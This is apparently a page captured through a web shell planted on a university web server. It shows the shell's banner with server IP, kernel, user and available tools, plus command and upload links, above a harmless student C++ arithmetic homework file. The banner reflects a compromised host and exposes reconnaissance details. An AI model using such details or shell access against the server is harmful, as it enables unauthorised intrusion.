Server IP : 172.16.15.8 / Your IP : 18.217.246.148 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/grpatillo/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File name: hw3.cpp // Author: R.P. Patillo // Instructor: Dr. Wang // Due Date: Sept 19, 2007 // Compilation: g++ hw3.cpp -o hw3.out // Execution: ./hw3.out /* Goal: This program will calculate the mathematical properties of addition, subtraction, multiplication, and division with the provided numbers input for a and b. */ #include <iostream> #include <iomanip> using namespace std; int main() { // var. decl. float a, b, add, subtract, mult, div; cout << fixed << showpoint << setprecision(1); // input cout << "Input a: "; cin >> a; cout << "Input b: (0 to quit)"; cin >> b; while( b > 0 or b < 0) { // computing add = a + b; subtract = a - b; mult = a * b; div = a / b; // out cout << "The addition is: " << add << '\n'; cout << "The subtraction is: " << subtract << '\n'; cout << "The multiplication is: " << mult << '\n'; cout << "The division is: " << div << '\n'; cout << "Input a: "; cin >> a; cout << "Input b: (0 to quit) "; cin >> b; } return 0; }